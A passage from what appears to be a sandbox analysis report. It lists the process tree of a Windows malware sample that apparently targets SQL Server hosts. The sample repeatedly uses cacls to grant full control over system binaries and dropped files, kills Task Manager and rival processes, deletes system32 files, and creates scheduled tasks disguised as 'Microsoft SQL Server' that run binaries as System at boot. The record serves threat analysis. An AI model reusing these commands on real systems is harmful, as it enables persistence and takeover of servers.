  PID:2980
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6584
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:4580
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:6536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:4924
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2772
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
  2⤵
  PID:1608
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
    3⤵
    PID:6560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
  2⤵
  PID:5980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4664
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
    3⤵
    PID:6648
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2884
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
  2⤵
  PID:4184
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
    3⤵
    PID:6704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:2732
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6748
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:5916
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
  2⤵
  PID:1172
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1076
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
    3⤵
    PID:6816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:2228
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6772
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:4816
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:2824
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6756
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2432
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6696
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:4764
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6684
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:3176
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1836
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:1320
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4940
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6676
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3984
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5180
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6788
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:2080
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:3204
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4892
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cmd.exe
  2⤵
  PID:6940
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:6980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cacls.exe
  2⤵
  PID:7016
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cacls.exe
    3⤵
    PID:7056
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\VBS.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:6396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  - Executes a command shell one-liner
  PID:5392
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:784
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:4204
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    PID:1120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:5440
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:5952
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
  2⤵
  PID:4932
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:952
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
    3⤵
    PID:1332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
  2⤵
  PID:6504
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    PID:6688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:6544
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:6896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6448
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cacls.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6296
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
  2⤵
  PID:1232
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
    3⤵
    PID:2240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:6532
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:5036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5480
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
  2⤵
  PID:5268
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
    3⤵
    PID:3696
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
  2⤵
  PID:2344
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
    3⤵
    PID:2580
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
  2⤵
  PID:6604
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1272
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:6468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4896
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    PID:2112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:6860
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\cmd.exe /e /t /g system:f
    3⤵
    PID:5060
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
  2⤵
  PID:3464
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:3508
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:3956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1848
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1476
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6812
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
  2⤵
  PID:6640
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
    3⤵
    PID:3228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
  2⤵
  PID:6620
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
    3⤵
    PID:6552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:6584
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:7116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:4412
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
  2⤵
  PID:5604
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\ftp.exe /e /t /g system:f
    3⤵
    PID:3892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
  2⤵
  PID:912
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
    3⤵
    PID:6408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
  2⤵
  PID:252
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
    3⤵
    PID:3740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:972
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
    3⤵
    PID:5984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3188
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
    3⤵
    PID:3756
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:5244
- - C:\Windows\SysWOW64\cacls.exe
    cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
    3⤵
    PID:4908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:3676
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6636
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5172
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6788
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:4588
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
  2⤵
  - Executes a command shell one-liner
  PID:4992
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
    3⤵
    PID:5444
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:6204
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:4164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:4492
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:5864
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:4844
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1160
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:2472
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3832
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2644
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:3764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:4456
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:6272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:1012
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:3256
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:2684
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
  2⤵
  - Executes a command shell one-liner
  PID:6220
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:6496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
  2⤵
  PID:3964
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
    3⤵
    PID:3116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
  2⤵
  PID:3416
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
    3⤵
    PID:2236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cmd.exe
  2⤵
  - Executes a command shell one-liner
  PID:6364
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    PID:1964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im cacls.exe
  2⤵
  - Executes a command shell one-liner
  PID:3836
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cacls.exe
    3⤵
    PID:6132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im ftp.exe
  2⤵
  - Executes a command shell one-liner
  PID:1660
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ftp.exe
    3⤵
    - Kills process with taskkill
    PID:2828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s
  2⤵
  PID:5552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s
  2⤵
  PID:7032
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s1a
  2⤵
  PID:6980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s1a
  2⤵
  PID:1644
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTVFC.exe
  2⤵
  PID:2684
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTVFC.exe
    3⤵
    - Kills process with taskkill
    PID:4508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%\system32\s
  2⤵
  PID:6172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\system32\s
  2⤵
  PID:4272
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3900
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate.bat
  2⤵
  PID:4220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.532193" /tr "C:\ProgramData\SQLAGENTIHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.533294" /tr "C:\ProgramData\SQLAGENTVHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.522395" /tr "C:\RECYCLER\SQLAGENTIHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6852
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.4.533496" /tr "C:\RECYCLER\SQLAGENTVHC.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4292
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.138297" /tr "C:\Program Files\Microsoft SQL Server\SQLSerasi.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2956
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:5308
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.139292" /tr "C:\Program Files (x86)\Microsoft SQL Server\SQLSerasi.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.134297" /tr "C:\Program Files\Microsoft SQL Server\SQLservras.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.135292" /tr "C:\Program Files (x86)\Microsoft SQL Server\SQLservras.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3752
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.136292" /tr "C:\Program Files\Microsoft SQL Server\fdlaunchersa.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:6568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Microsoft SQL Server v0.3.137292" /tr "C:\Program Files (x86)\Microsoft SQL Server\fdlaunchersa.exe" /sc onstart /ru "System"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
